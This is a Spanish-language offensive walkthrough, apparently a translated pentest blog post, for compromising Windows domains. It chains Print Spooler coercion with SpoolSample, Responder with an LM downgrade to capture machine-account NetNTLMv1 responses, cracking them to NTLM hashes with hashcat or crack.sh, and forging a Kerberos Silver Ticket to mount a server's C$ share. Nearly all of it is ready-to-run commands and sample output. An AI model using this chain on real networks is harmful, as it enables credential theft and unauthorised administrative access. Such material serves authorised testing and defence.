
SpoolSample -> Responder w/NetNTLM Downgrade -> NetNTLMv1 -> NTLM -> Kerberos Silver Ticket
Esta técnica ha sido mencionada por otros, pero no he visto nada cohesionado por ahí. A continuación, recorreremos los pasos para obtener una autenticación NetNTLMv1 Challenge/Response, descifrar esas respuestas a hashes NTLM y usar ese hash NTLM para firmar un ticket Kerberos Silver Ticket.
Esto funcionará en redes donde el "nivel de autenticación de administrador de LAN" esté configurado en 2 o menos. Este es un escenario bastante común en implementaciones más antiguas y grandes de Windows. No debería funcionar en Windows 10 / Server 2016 o más recientes.
Obtener una respuesta NetNTLMv1 de una cuenta de máquina mediante @tifkin_'s (Lee Christensen's) SpoolSample
Descifrar esa respuesta NetNTLMv1 de vuelta a un hash NTLM usando las tablas arcoíris de @0x31337 (David Hulton)
Generar un Silver Ticket usando el hash NTLM recién obtenido usando ticketer.py de @agsolino (Albert Solino)
Usando Powershell, obtener una lista de máquinas Windows. Los servidores suelen ser prioridad, así que centrémonos ahí:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
Usando el SpoolerScanner ligeramente modificado de @mysmartlogin (Vincent Le Toux), ver si el servicio Spooler está escuchando
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
También puedes usar rpcdump.py en Linux y buscar el protocolo MS-RPRN
rpcdump.py DOMINIO/USUARIO:CONTRASEÑ[email protected] | grep MS-RPRN
./Responder.py -I eth0 --lm
SpoolSample.exe OBJETIVO IP_RESPONDER
o usa dementor.py de 3xocyte si estás en Linux
python dementor.py -d dominio -u usuario -p contraseña IP_RESPONDER OBJETIVO
Ejemplo de respuesta:
[SMB] NTLMv1 Client : 10.0.0.2
[SMB] NTLMv1 Username : DOMINIO\SERVIDOR$
[SMB] NTLMv1 Hash : SERVIDOR$::DOMINIO:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788
Puedes usar un conjunto de tablas arcoíris para revertir el NTHASH a NTLM, o puedes revertirlo a sus componentes DES constituyentes y descifrarlo con hashcat.
Un equipo con 8x 1080 puede forzarlo por fuerza bruta en aproximadamente 6 días, así que considera las tablas arcoíris.
Para tablas arcoíris, existe un servicio alojado en https://crack.sh/netntlm/ que recuperará NTLM a partir de NetNTLMv1 de forma gratuita. Proporcionado por David Hulton de Toorcon. Estamos trabajando en una copia local de las tablas arcoíris y software que no requiera FPGA para las búsquedas.
Para crack.sh, el formato es NTHASH:(respuesta), así que NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972 del ejemplo.
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Esto devolverá la siguiente salida con instrucciones:
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
Necesitarás encontrar algunas piezas de información para esto: SPN del servicio al que deseas acceder, SID del dominio, SID de la cuenta de usuario del dominio y nombre de cuenta con acceso de administrador local, y un grupo de dominio del que ese usuario sea miembro si es administrador local basado en grupos.
Para el servicio, el más común será cifs/ ya que mapea al servicio HOST/
./ticketer.py -nthash 09e55a127f3d4e4957c77de30000502a -domain-sid S-1-5-21-7375663-6890924511-1272660413 -domain DOMINIO.COM -spn cifs/SERVIDOR.DOMINIO.COM -user-id 123456 -groups 4321 nombre_usuario
export KRB5CCNAME=/root/Assessments/NTLMTest/NOMBRE_USUARIO.ccache
smbclient -k //SERVIDOR.DOMINIO.COM/c$ -d
Distribuir 6 TB de tablas arcoíris
Modificar desrtop de @0x31337 para que no requiera FPGA
Identificar más formas de desencadenar una autenticación de cuenta de máquina de forma remota